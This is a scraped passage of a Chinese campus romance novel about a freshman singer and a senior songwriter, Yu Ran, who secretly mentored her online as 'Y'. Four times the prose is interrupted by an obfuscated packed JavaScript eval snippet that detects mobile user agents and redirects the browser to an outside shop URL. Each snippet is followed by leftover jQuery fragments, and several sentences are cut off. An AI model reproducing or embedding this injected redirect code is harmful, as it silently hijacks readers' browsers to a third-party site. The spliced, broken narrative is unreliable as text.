薛安甯眼睛在笑,脸上做出略为难的表情:“可是如果不叫学姐的话,我应该怎么称呼你才好呢?” 郁燃静静看着她:“叫我名字就好。” “郁燃?” “嗯。” 郁燃收回视线,眼中笑意敛起几分,朝宿舍楼斜对面食堂旁边的小超市望两眼,问她:“是要去那吗?” 食堂旁边小超市的灯亮着,进出的人不多,但尚在营业中。 薛安甯本来确实是要去那,但此刻她顺着郁燃的视线望过去,迟疑两秒:“食堂超市没我用的那个牌子,我想去西门外的超市看看有没有。” 不等薛安甯说完,郁燃声音从旁传来:“那顺路,一起。” 回到宿舍的时候,薛安甯手里不仅拎了卫生巾,还拎了一袋锡纸打包好的烧烤,她好心情地问室友们吃不吃。 毛肖晴从床上探出头来说自己已经刷牙了,江姜和贺思琪凑过来,一人拎起一串,倚在楼梯旁看她:“你买个卫生巾还跑到学校外面去了啊?”跑那么远。 “对啊,小超市里卖的没我常用的那个牌子。”薛安甯拎起一串烤五花往嘴里送,随口答道。 贺思琪瞥一眼她随手放在桌面的塑料袋:“你用这个牌子啊?我怎么记得这个牌子学校超市里有的……” 江姜推她一下,嫌弃:“你记错了呗。” 薛安甯转头趴在椅背上吃烧烤,笑眯着眼看她俩争论。 军训仍在继续。 西外的军训是出名的严苛,对比隔壁西音的两周,他们的军训时长拉到了二十一天,加之西京的夏季很长,到最后快要尾声的时候,薛安甯才感觉到一点儿独属于秋天的凉意。 秋天是真的来了,一夜之间,气温骤降。 军训结束的倒数第三天,教官已经不如开始那样严格,该整合训练的项目都已经练得差不多,就等着最后那天的分列式汇演。薛安甯他们连队教官人不错,经常带着她们练一会儿,休息一会儿,练一会儿,又休息。 黄遐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029126|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每天都会过来看看他们,为了那点要命的学分,提前过上了上班打卡的生活。 今天,也掐着傍晚下训的点过来。 夕阳余晖下的林荫大道上,列队整齐的迷彩人与深色的柏油路对比强烈,队伍边缘,一个颀长的身影脱帽站在队列边缘,正在唱歌,女孩被帽檐压得有几分凌乱的发丝与松松散散的低马尾,都让落日镀上一层温暖的霞红。 这会儿没风。 飘过来的歌声低缓有力,咬字清晰,从她嘴里唱出来的经典粤语歌有种自相矛盾的年轻陈旧感。 黄遐眼神不错,饶有兴致地听了会儿:“唱歌的那个好像是薛安甯。” 郁燃点头:“嗯,是她。” 到高潮的副歌部分,黄遐激动起来:“挺会唱的!” 郁燃微微笑,一只手插在口袋里,没接话。 这两周忙,黄遐约她吃饭约了几次她都没答应,好不容易约上今晚,两人打算过来现身露个脸就走的,意外撞见这一幕。 一曲毕,薛安甯不意外得到热情的掌声和起哄,青春的荷尔蒙在激昂的热闹中缓慢发酵。 黄遐最爱凑热闹了,她拉着郁燃一起过去,熟稔地和教官还有这群新生打招呼:“休息呢?马上快下训了吧。” “学姐好。”男男女女的回应声,稀稀拉拉一片。 黄遐目的明确,没扯两句眼神就直勾勾落在了正端着水瓶喝水的薛安甯身上,叉腰:“哈!薛安甯,你唱歌这么好听怎么不早说呢?上周学校各大社团招新你去了没?” 薛安甯愣一下,嘴里含着口水眼睛在笑,说话有些含糊:“我去了的,学姐。” 黄遐:“你去什么社了!” 要去的不是音乐社,她得怄死。 这么好一个十佳的苗子。 黄遐代班第一天就将自己介绍得明明白白,还顺带为自家社团进行了宣传。 托郁燃的福,因为有个这样的发小在身边耳濡目染,让她对音乐也生出几分喜爱。 只不过,没天赋。 江姜抢答:“放心吧学姐,她去的你们音乐社,我陪她去填的申请表!” “真的假的?”黄遐看一眼江姜,又把目光移回薛安甯脸上,开玩笑,“要是忘了来我们音乐社填表也没关系,你唱歌这么好听,我回头单独拿张表给你填。” 薛安甯咽下嘴里水,清清嗓子笑着说:“是真的学姐,我填了申请表的,你没看到我的申请表吗?” 黄遐:“啊?有吗,说真的我这阵子太忙了,社团招新的事不是我在办。” 黄遐:“没事,填了就行,到时候面试我跟他们说一声……” 黄遐把心放回肚子里,转头,郁燃跟尊菩萨一样站旁边杵着,也不说话。黄遐抬肘戳一下她:“怎么样,专业人士?学妹唱得好不好你评价一下。” 郁燃从乌泱泱的人头里寻到薛安甯那张清隽的脸,女孩眼眸乌亮,望着她正在笑。 郁燃眉梢轻挑:“好听的,比之前好很多。”发声位置改过来了,节奏也很好。 薛安甯愣了下:“……之前?” 今天之前,郁燃听过她唱歌吗? 正想追问,底下大操场总教官的集合哨吹响,极具穿透力的哨声仿佛某种信号,队伍一阵兵荒马乱,所有人从地上爬起来紧急列队。 两人站在旁边看了会儿,悄然离开。 走出去一段距离,黄遐才反射弧慢半拍地叫住郁燃,戳她一下:“等等,你刚刚说,之前?” “什么时候啊?” 5. 秘密 整个暑假,薛安甯的时间都被学校密密麻麻的补课表占满,剩余零星的空白,用来盛载她无人知晓的爱好。 薛安甯挺爱唱歌的,唱得也好。 她在最近几年大热的爱唱平台上,注册了一个账号,小一年里积累了两千多个粉丝。 这,就是薛轩说的要帮她保守的秘密。 但薛安甯房间没有电脑,家长说电脑影响学习,初高中正是很关键的时刻,不能分心。 可是,薛轩的房间却有一台电脑,还是最新款。 薛轩的电脑是前年他生日的时候,死皮赖脸在爷爷奶奶面前求来的,这时候,爸爸妈妈反对的声音又不是那么的坚决了。 有人早已经学会忍耐和漠视这些存在于细节中的偏爱,虽然,偶尔还是会觉得刺痛。 高三一整年,薛安甯全身心扑在学习上,每周一天的假期,她会抽两个小时出来用薛轩的电脑录歌发表,薛轩为她保守秘密。 他仍在网络上装女孩子,学习成绩不上不下吊在那,家里花了大笔择校费让他进了一所普通高中,上学期结束,成绩单上九门功课有六门不及格。 家里实在没办法,让薛安甯这个做姐姐的开口帮忙劝导。 “干嘛?” 薛轩靠在椅子上搭起腿,听见开门动静,转过来看走进来的人。 薛安甯拉把椅子过来坐下:“爸爸让我过来跟你好好说说学习的重要性。”她才懒得管,“你继续玩,我坐会儿装装样子就走。” 薛轩笑一声。 他们相安无事,井水不犯河水。没过几分钟,薛轩抬起下巴:“诶,给你看点东西,你看手机。” 薛安甯摸出手机。 企鹅上两条新消息,是薛轩转发过来的一个视频,教人唱歌怎么正确发声,后面跟着一份同样是转发过来的聊天记录——说话的那个人,头像,恰巧是之前跟她视频过的那个“Y”。 薛轩赶在她开口骂人之前说话:“先别骂我……你看看她说的,她是学音乐的,她说你唱歌发声位置不对,伤声带。” 薛安甯听薛轩说的这些,又开始烦躁了。 她强忍着烦躁,锁屏,手机揣回口袋。 见她不信,薛轩又说:“她真是学音乐的,我每次找她聊吧,她都爱答不理的,但给她发你唱的歌她就会多说几句。” 在薛轩的房间里坐够十五分钟,薛安甯起身,离开。 出门回房间的路过客厅,翘着二郎腿正看肥皂剧的薛爸听见动静,转过头来看她,目光殷切:“怎么样,说通没有?” “他说他知道了,也不知道听进去没。”薛安甯拉长语调熟练地应付着,路过时,弯腰从茶几上挑了个看起来漂亮的脆桃,歪头,“那我回房间写卷子了,爸。” “好,去吧。” “还是你乖,比你弟弟懂事多了……” 身后飘来的,是欣慰的夸奖。 薛安甯咬一口手里的脆桃,皱皱鼻尖—— 看着漂亮,不甜。 又过一周,她推开薛轩的房间门,对方正戴着耳机坐在电脑前游戏厮杀。 薛轩抽空睨来人一眼。 薛安甯表明来意:“你手机借我用用,我有点事情想请教一下Y,上次你转发的那个视频我看了,确实有用,但有些地方还不是很明白。” “自己拿。” 一局游戏结束,薛轩椅子滑过来,看向正用他手机和Y聊天的薛安甯,嬉皮笑脸:“怎么样,是不是得好好感谢我?其实说真的你唱歌挺好听,又这么喜欢唱,高一的时候就应该去学个专业,这样以后还能报考音乐学院,高考也简单点。” 薛安甯烦他:“你好烦,去玩你的游戏好吗?” 薛轩没当回事,跟个狗皮膏药似的说个没停:“你觉得我唱歌怎么样?我要是去学音乐呢?反正纯文化考大学是指望不上了哈哈哈。” 说完,他兴致大发唱了几句,自我陶醉。 “你就想吧,”薛安甯听他唱的这几句,差点笑出声,“爸妈不会让的,而且学音乐多贵啊,以后毕业出去还不好找工作……” 她话没说完,就被薛轩打断:“这你就有所不知了,前天爸给我开完家长会回来主动问我要不要挑个特长学学,说学什么都可以,主要是艺术生的高考分数要求能低点……” 薛轩枕在椅背上,边说,椅子一边转圈,得意洋洋好轻快的样子。 薛安甯转头看向他。 忽然,就一点儿也不想笑了。 思绪僵凝的瞬间,掌心手机振动两下,随之而来新的消息。 -Y:你调整之后现在是用哪里发声?唱两句,我听听。 “你没听过吗?” 郁燃停下来看黄遐,漂亮的眉形轻轻挑起:“你们学校的论坛,你自己不看吗?” “???” 黄遐反应一秒,原地摸出手机打开校内论坛,很快,发出一声不太文明的动静:“我靠。” “原来她不是第一次这么唱了,我天,我真是村通网,我这些天真的快被差的那些学分搞疯了,哪有学分我就往哪扑,哪有什么时间看论坛八卦啊……”她低着头,迈着缓慢移动的步伐朝前,大部分注意力都还在手机上,论坛一页页往下翻,“讨论她的帖子还挺多的,不过也正常,每年新生里像她这样的基本都很有话题。” “没关系,很快就是我的人了。” 手机锁屏,黄遐一副志在必得的模样,身侧,郁燃因为这有歧义的话语好笑地朝她望来。 黄遐遂纠正:“我们音乐社的人。” 去年十佳,各大院系混在一起厮杀,她们音乐社连前五的尾巴都没摸到,丢死人了。 音乐社的招新面试时间被定在28号,新生军训的完的第二天,晚上八点,学生活动中心三楼尽头的空教室。 那天正好是周五,有部分人递了报名表没来,出校疯玩去了,薛安甯的名字原本排在后面,但前面几个名字空着,轮得倒是很快。 她今天穿得休闲,条纹撞色的长卫衣搭一条卡其色的垂感长裤,规规矩矩坐在台下等候,看上去乖得不得了。 轮到她,黄遐坐在面试位上,用“温柔亲切”目光注视着,装不熟:“能点歌吗?” 薛安甯忍笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029127|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以的学姐,只要我会唱。” 也不知是不是巧合,黄遐点了首《起雾了》。 薛安甯正常发挥。 面试完,黄遐小声叫住她:“你着急走吗?不急的话等等我一起回去,这边还剩四个人,我还张表要让你拿回去帮我统计下。” 薛安甯同样小声:“那我等你一起。” 她又回到教室后边,找了个空位坐下。 今天薛安甯一个人来的,贺思琪和毛肖晴出校玩去了,江姜懒,躲在宿舍追剧,薛安甯原本也不是什么非要人陪着才能出门的人,索性自己来了。 她低下头玩手机,在各个群里来回切换,游刃有余。 其中,他们本系的一个两百人大群格外热闹,不少人在里头实时闲聊,薛安甯点进去发表情包露个头,很快有人问她社团面试怎么样。 -X:面完了,学姐说等短信通知。 话是这么说,但实际大家都知道,熟人,包过的。 群里这些人都知道黄遐是薛安甯的代班学姐,嘻嘻哈哈和她开玩笑。 跟他们聊了会儿,薛安甯悄悄闪人。 群大人多,人员就杂,什么样的人都有,有些人她其实不是很想搭理。 但社交需要,这种群里,获取和筛选信息最容易。 比如,前些天水群的时候有人顺口提到郁燃,薛安甯就很自然地跳出来说经常看见郁燃来找她们代班学姐一起玩,于是了解到,原来黄遐和郁燃都是京城人,这俩人是从小学起就认识的好朋友。 今天这身衣服是薛安甯花了点心思搭的,想碰碰运气,看郁燃会不会也在。 结果显然,这种几率还是挺低的。 “唉。”手机倒扣在桌面,女孩托腮,视线没有聚焦散漫地落向前方。 要怎样,才能毫无痕迹地和郁燃成为关系要好的朋友呢? 好像还挺难的。 半小时后,最后一个人终于面完。 “走吧,回宿舍我把表给你,放假前你把信息统计好交给我。”黄遐把剩下的收尾工作丢给另外一个人,径直朝薛安甯过来,“饿吗?请你去美食街吃夜宵,老麻烦你跑这跑那,二食堂的麻辣烫怎么样?” 两人并肩走出教室。 薛安甯礼貌婉拒:“不用了学姐,我……” 话未说完,黄遐手机响了。她摸出电话附在耳边,边走边讲:“你不是去芒市了吗?这么快,哦……现在啊?太突然了吧,我刚刚还说请薛安甯去学校美食街吃夜宵呢。” 说着,黄遐侧目,睨了一眼身旁的薛安甯。 提到了她的名字。 那么打电话过来的人应该是…… 薛安甯心念微动,主动开口:“学姐,你要是有事走不开可以告诉我表放哪了,我去你们宿舍拿,回头弄好了我再拿给你。” 电话那边的人似乎又说了几句什么。 黄遐又看一眼薛安甯,突然问她:“你一会儿没什么事吧?” “……?”薛安甯摇头,“没事。” 黄遐拉住她,眉飞色舞:“走,去学校外面吃烧烤,有人请客。” 6. 不太方便 和薛安甯想的一样,打电话过来的人,就是郁燃。 薛安甯跟着黄遐来到西门外,穿过马路,一眼望见坐在‘郝姐海鲜烧烤大排档’霓虹广告牌旁的郁燃,隔壁几桌都坐满了人,相较之下,郁燃一个人坐张桌子就显得格外突兀。 今天郁燃戴着黑色的棒球帽,深卡其薄外套,下身是条高开叉的黑色半身裙配小短靴,美得很惬意。 时间刚过八点半,这家老字号的大排档又是开在两家高校中间的位置,生意不错。 薛安甯不是第一次来这。 黄遐喊一声低头看手机的人,郁燃抬头望过来,视线先是落在黄遐身上,然后旁移,牵唇,挥手和薛安甯打招呼:“嗨。” “嗨,”薛安甯条件反射地回应,舌头差点打结,“郁燃……学姐。” 尽管郁燃上次说可以直接称呼名字,但薛安甯想,她们好像并没有熟到可以直接喊名字的地步。 郁燃笑笑:“我拿了三手牛肉和五花正在烤,还要点其它什么你们自己拿,我有点事,先回个消息。” “你忙你的吧。”黄遐一把拉住薛安甯,“走,咱们到里边看看吃点什么去。” 郁燃请客的话,她可就不客气。 虽然不是很饿,但还是按照喜好来,每样都点了些。 点好东西出来时郁燃正在用湿巾擦桌子,她抬眸朝两人望过来,清润的嗓音为这初秋的夜晚都添上几分凉意:“喝点什么吧,饮料还是酒?” 黄遐:“饮料吧,芬达。” “你呢,学妹?”郁燃又看薛安甯,唇角的弧度上扬几分。 既然薛安甯非要叫学姐。 薛安甯端坐在那笑:“我都可以,你要是想喝酒的话我可以陪一点,但是不能太多,我酒量很一般。” 黄遐惊讶非常,推了推她:“看不出来啊,长得乖模乖样的。” 郁燃:“那我叫两瓶啤酒,咱们稍微喝点?” 薛安甯:“可以。” 她看出来郁燃今晚挺高兴的,只见过几次的人坐在一起吃东西,如果不是因为想,基本不会有酒这种选项。 薛安甯猜郁燃应该是有什么高兴事,想喝点。 等第一批串烤好上桌,黄遐话匣子打开后一问,果然。 “你不是跟朋友去芒市采风找灵感吗?这么快就回来了,我以为你得过完周末才回来呢。” “灵感找到了,当然就打道回府。”郁燃靠在椅背上,手里拎着串烤五花,悠悠然好惬意。 薛安甯插话:“是新歌吗?” 黄遐:“哪首啊,卡了大半年的那首?” 郁燃虚着眼眸笑,发丝被风拂过在夜色中轻扬,散漫又耀眼:“对,回来的高铁上就写好了。” 薛安甯一手拎着串,另只手附过来轻拍掌心,相当地捧场:“哇——” 郁燃被她逗笑,含着笑意的乌眸凝着她。 薛安甯的性格真的很好。 尽管,这种好是具有十分针对性的。 黄遐也懵了下,反应过来后:“等等,我终于发现哪儿不对劲了,我礼貌性地问一下——”她用手里的竹签虚虚指向薛安甯,又点了点对面的郁燃,“你,该不会是她的粉丝吧?” 郁燃挑眉,轻声警告:“黄遐。” 她觉得黄遐这时候问这些,很些煞风景诶。 万一薛安甯说不是呢? 但没想到薛安甯却大大方方承认,托着腮,抿唇笑:“是呀,鱼白写的歌我都翻唱过,我很喜欢那些词。” 最开始,鱼白只是写词,后来偶尔也会有词曲一起的作品,文字都是有灵魂的,很多字句,薛安甯越咀嚼越喜欢。 黄遐了然一笑,调侃她:“我说呢,难怪你每次一看见郁燃就笑。” 薛安甯晃晃手里的已经吃完的竹签,轻轻哼一声:“有吗?可是我看见学姐你也会笑的呀。”啤酒杯里的汽泡在悄悄往上冒,就仿若薛安甯此刻的心情,轻飘飘。 黄遐:“不一样。” 郁燃掀眼,睨她:“哪不一样了?” 薛安甯:“是啊,哪不一样了?” 郁燃不说话还好,一说话,薛安甯自动跟上,现成的证据摆在黄遐面前,她用根竹签指指点点:“看,就是这种不一样,怎么兴趣爱好相同的人说起话来也自动抱团吗?你们现在在针对我,知道吗?这个叫针对,叫霸凌!” 黄遐佯装严肃模样:“拒绝抱团好吗,咱们不兴粉圈那一套。” 薛安甯乐得笑个不停。 这大概是她来到西京以后,最开心的一个晚上了。 徐徐吹来的晚风里是裹着碳香的烟火气,桌上啤酒冒着颗颗细小的汽泡,笑得含蓄的郁燃在看咋咋呼呼的黄遐。 大约一个小时以前她还在想,怎么才能毫无痕迹地和郁燃成为朋友呢? 她从未如此想和一个人交朋友。 但此刻,她们好像已经是朋友。 一瓶啤酒喝得很快,但也刚刚好,郁燃没有另外再叫。 烧烤剩下大半,郁燃索性又添了些,将这些打包成两份让黄遐和薛安甯分别带回去给室友吃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029128|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄遐说她:“你是财神娘娘啊,一高兴就撒钱。” 郁燃轻轻抱住肩膀,轻飘飘很懒散:“我开心。” 黄遐朝她竖起大拇指,起身去厕所。 黄遐走后,桌上就只剩下薛安甯和郁燃两个人,没人说话,气氛霎时间冷下来,只听见隔壁桌传来热闹的说话声。倏尔,郁燃转过头来和薛安甯聊天:“今天人多,老板可能有些忙不过来,烤出来的五花肉差点火候。” 你觉得呢? 五花要烤得微微的焦才好吃。 薛安甯读到那句没问出口的话,温温吞吞:“我也觉得,没有上次好吃。” 上次。 她说要出来买卫生巾,郁燃说顺路的那一次,两人走到西门外郁燃说突然想吃烧烤,便多买了一份,请薛安甯吃。 钱付完,薛安甯才知道郁燃给自己也买了份,盛情难却。 黄遐上完厕所回来,两人已经将剩下的烧烤打包好,黄遐和薛安甯各自手里拎个袋子,三人分走两边。 离开之前,郁燃想起件事。她叫住薛安甯:“上次借你本子打的草稿我还需要用一下,方便的话,你晚些你拍张图片发给我。” 这没什么问题,薛安甯正要应下,忽然,想到什么,改口:“那,我是把东西发给黄遐学姐吗?” 还是说,我们加个联系方式呢? 薛安甯倾向于后者,但她不想自己说,所以用提问的方式。 不想被郁燃看出来,她很想。 因为刚才吃烧烤的时候,她已经表达过自己欣赏和喜欢了。 她想和郁燃做朋友—— 那郁燃呢? 黄遐听得莫名其妙,一手扶着腰,插话:“这会儿都在呢,你们俩当面加个微信不就行了,发张图片还让我当中转站,我很闲吗?” 薛安甯眨眼,看向郁燃。 今夜其实没什么晚风的,风吹在薛安甯心里,左右摇摆不踏实。 收到她的目光注视,郁燃很小幅地抿了抿唇角,没接话。直到黄遐喊一声:“郁大小姐,人家问你呢。” 郁燃低头,手伸进口袋去摸手机:“加q/q吧。” 黄遐嘴比脑子快:“你不是很少用q/q?”据她了解,可以说是基本不用。 气氛一时尬住。 说话的人后知后觉自己不该问这句,看一眼薛安甯,又瞧瞧郁燃,黄遐心虚地别开眼。 有尴尬的气息在空气中流动。 倏尔,郁燃薄唇轻抿,又松开,微微张启:“微信比较私人,不太方便。” 7. Y -云端の:要不然,我们加个微信吧?我不是经常在q/q。 薛安甯坐在床边捧着手机,抬眸飞快瞥一眼正在电脑前厮杀的弟弟,心跳莫名加速变快。 盛夏。 不大的小房间里旧空调在不停释放冷气,房间不通风,薛轩刚吃完的辣条包装随手丢在垃圾桶里,辣油混着他房间特有的气味,一时让人难以招架。 是的,她在干坏事。 薛轩说的没错,他在网上认识的这个‘Y’确实在音乐方面很专业。 最近一个月,薛安甯用薛轩的账号请教了对方一些问题,比自己之前瞎唱和上网搜教程练要强上许多,只是每次和‘Y’聊天,往上一拉,就能看见薛轩自以为幽默风趣的讨厌发言。 最重要的是——在Y眼里,那些发言全都是‘薛安甯’本人发出的。 Y很真诚,也很友善,但凡薛安甯问的她都会耐心解答并且给出建议和解决方案,可薛安甯却在做薛轩的帮凶,为了满足薛轩的一点低级扮演趣味,骗了Y。 薛安甯不多的良心与道德开始作祟。 最终,她敲下了这样一行字发送过去,忐忑等待对面回复。 只是不经常在q/q这样的拙劣的借口,似乎没什么说服力——薛安甯盯着“云端の”旁边的SVIP图标,隐隐焦灼。 Y却像是突然消失了,不知道是没看手机还是在忙其它事情。 薛安甯很害怕薛轩玩到一半游戏人物死了,又和之前一样跑过来看她聊天,此刻时间流逝的每一秒都煎熬。 她尽量若无其事。 但就是怕什么,来什么。 “啪。” 薛轩啧一声抬起鼠标在桌面轻拍一下,游戏画面灰了瞬间。他转过头来问薛安甯,吊儿郎当:“还没聊完啊?” 心跳到嗓子口,薛安甯捏手机的手悄然用力几分,像往常一样皱眉,语气些许不耐:“你很着急吗?” 薛轩:“倒没有……” 没说完,薛安甯将他突然打断:“突然想喝冰可乐,我下楼买,你要不要?” 薛轩惊讶:“太阳打西边出来了啊?” 年轻女孩眉眼间萦绕的烦意更甚几分。 薛轩有眼色地给出回答:“给我带可口可乐,然后再带只甜筒,谢谢姐~” 两人相差三岁,薛轩只会在这种时候嘴甜喊姐,往常都是大名称呼。 薛安甯带上他的手机,起身,离开。 三伏天的暑热如附骨之疽,如影随形,薛安甯买好可乐站在便利店等了会儿,Y终于回消息了。 薛安甯心跳又快几分,解锁屏幕一看。 Y竟然什么都没问,答应得特别爽快:好。 * 浮动的气息从鼻腔内轻轻叹出,郁燃清清凉凉的语调声听起来有一点无奈:“q/q可以吗?”她看着薛安甯,目光真诚。 让薛安甯莫名生出一种“您的好友申请被对方拒绝了,但又没完全拒绝”的荒谬感。 但转念一想,这个人是郁燃,是能写出《蝉鸣声声》的郁燃。 这么想的话,又觉得对方傲一点,也没什么大不的了。 毕竟,她们才刚认识嘛,不熟。 玻璃心在薛安甯的社交字典里几乎不存在。于是她主动铺好台阶,露出习惯性的笑容:“没关系,刚好我很少用微信。那我加你吧,你号码是多少?” 她倒是用q/q比较多,微信是最近才开始用得频繁,因为上大学以后发现同学们似乎都开始改用微信。 加上好友,三人分道。 薛安甯跟黄遐去了一趟她们宿舍拿空表,然后才回三楼。 军训结束后,班干部重新票选了。 大学班干部不像初高中那样,在票选奖学金和某些事情的时候能起到不小的作用,薛安甯提前做好功课,挑了个比较清闲的副班长竞选。 清闲,指的是有点实用性,但却不会像团支书和班长那样忙。 结果并不意外,票数断层当选。 黄遐拿给薛安甯的是国庆假期的去向统计表,电子统计一份,手写归档一份。 回来时,宿舍里还是只有江姜一个人。 薛安甯对着拉紧的床帘喊了声,叫她下来吃烧烤,然后便打开电脑在班群发送电子表格统计信息,一边做事一边跟江姜闲聊的间隙里,薛安甯也没忘记抽空拍照,把郁燃要的图片发过去。 对面倒是回复很快,就像是正等着她一样。 -郁燃:谢谢。 后面还跟了个比较可爱的表情包,看起来,像q/q打字联想,会自动跳出来点击就发送的那种。 薛安甯也回了个表情包。 紧接着,聊天窗口跳了几次“正在输入”的状态。 郁燃还有话要说? 薛安甯心跳缓了半拍,好奇又有点期待。 她留在界面等了几分钟,直到看见状态栏不再变动,终于切出软件。 原来没有。 没多久,毛肖晴和贺思琪也回来了,几人将剩下的烧烤分了分,吃得干干净净。 热热闹闹,快十二点的时候最后一个上床的人走到门口按下开关,夜色悄然涌入。 薛安甯早就困了,但念着明天是周六,还想再熬会儿。 她从q/q群聊切到学校论坛逛了会儿,又切到朋友圈,看着大家的生活动态,想到自己朋友圈有些空荡荡,于是也发了条——一张今晚回来路上随手拍的月亮,和今晚西门外吃的烧烤。 没想到的是,这个点不睡的夜猫子很多。 这条朋友圈刚发出去就有秒赞的,还有人认出地标,问薛安甯吃的是不是西门外那家郝姐大排档。 点赞的头像实时刷新。 薛安甯眨一下眼,又眨一下,突然,点赞列表刷新出来一个很眼熟的头像。 正要确认是不是自己眼花,下秒,热乎的微信消息就从上方弹了出来。 -还没睡? 是Y。 薛安甯正要从上方直接点进去,状态栏又提醒:对方撤回了一条消息。 紧接着,弹出条新的。 -Y:还没睡啊。 -Y:你的爱唱最近怎么没更新了? 薛安甯点开,回复说自己开学军训忙不过来,等过两天放假就会找时间录歌。 和Y很久没有聊天了,聊天记录往上翻,上次还是八月,再往前是四月,薛安甯说自己要闭关冲刺高考。 薛安甯之前想办法加上对方微信以后,隔一阵,就谎称自己那个q/q账号被人盗走了,让Y把“云端の”删除,以后微信联系。 对方依然什么都没问,照做。 删除以后,甚至还给她截了个非好友的图,想安她心似的。 没两天,薛安甯不意外从薛轩那儿听见因为被单删而跳脚破防的吐槽。 至此,她骗人的负罪感稍稍减少了一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029129|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但就像薛安甯说的,大学之前,她都不怎么用微信,学业更是繁忙,和Y少有的那几次对话基本都和爱好有关。 薛安甯看情况打字,偶尔要说的句子比较长,图方便就发语音,但Y就从来只发文字。 除了最开始那次视频,薛安甯没听她讲过话。 已经想不起来具体声线了,只记得,很好听。 不过薛安甯也没有怀疑过Y的性别就是,因为男装女那味儿,藏不住,也就薛轩觉得自己藏很好。 Y今晚找她,果然也是问爱唱账号更新的事。 薛安甯隔着网线和这位素未谋面,亦师亦友的姐姐难得地多聊了一会儿,从更新说到大学生活,最后想起手机里还有段军训时别人帮拍的唱歌视频,顺手就给Y发送过去。 -X:姐姐你有空帮我听听,看我最近有没有进步~ 时间太晚,薛安甯边打哈欠边流眼泪,视频发过去,她三言两语结束聊天,沉沉睡去。 次日睡到中午醒来看手机,才发现自己睡着以后没多久Y就给出了回复。 对方夸她,说有进步,很好听。 薛安甯抱着被子笑。 她也不清楚,可能是因为Y点拨过她几次,所以潜意识里觉得能被对方认可能力是件让人开心的事。 薛安甯也觉得自己唱歌挺好听的,不少人都这么说过,初中的时候她还梦过以后要当歌手,等之后再长大一些,才发现这对于普通出身的她来说,确实是做梦。 放假在即。 花费一天时间统计信息,周日中午,薛安甯把做好的表格送到辅导员办公室,免去黄遐再跑一趟。 国庆假期如约而至。 薛安甯没有回家,于是四人间的寝室就剩她一个,刚好网购买的设备也到了,方便她录歌。 为了补足之前断更的,薛安甯三天连续录了五首翻唱。 彼时,她的账号粉丝已经快到八千,有粉丝看见突如其来的五连更,夸张到直呼“过年了”。 四号,辅导员在班干部群里询问还有哪些人在校,召集大家一起约着吃个饭,熟悉熟悉,聚聚。 包括薛安甯在内,大概有七个人,全是本系的。 一行人群里说好校门口汇合,然后一起打车到附近三公里外的重庆火锅店吃晚餐。 火锅吃到一半,薛安甯口袋里的手机振了振。 坐她右手边的男同学还在眉飞色舞地说着自己的烂笑话,薛安甯很给面子地笑两声,低头,摸出手机扫一眼屏幕。 然后怔住。 q/q消息,头像是一只戴耳机的猫,这只猫问她:放假没回家? 薛安甯看着这只猫,眼里笑意多了几分真情实感,她打字回复: -我是江榆人,回去一趟太麻烦,就没回。 -你怎么知道我没回去? -耳机猫:左边,你回头。 这句话出来,答案基本呼之欲出。 薛安甯回头,很快在左手边靠窗的位置上看见了郁燃,她对面坐着一个男人。 紧接着薛安甯就看见郁燃在自己的注视下,举起手机,送到唇边。 下秒,她虎口位置被手机振了振。 低头看,郁燃给她发了条语音消息。 薛安甯将手机附至耳边,按下播放。她的视线锚点落在桌中央那锅沸滚的红油里,郁燃清凉的嗓音盖过身旁男同学的说笑,声音轻缓,犹在耳畔:“看见你了。” 8. 社交浓度 这顿饭的后半部分,薛安甯吃得心不在焉。 口袋里的手机再没动静了。 她的视线在又一次“不经意”掠过窗边那桌的时候,顿了下,发现郁燃不知何时已经离开,座位上是一批新客人。 没多久,她们这边也结束。 单是辅导员文志柔买的,一行人出了火锅店等在路边打车,正闲聊,有人问了句今晚吃火锅花费多少。 文志柔爽朗笑着:“今天这顿我请,不用A了,我也第一次当辅导员,各位弟弟妹妹以后多配合我工作,好吧?” 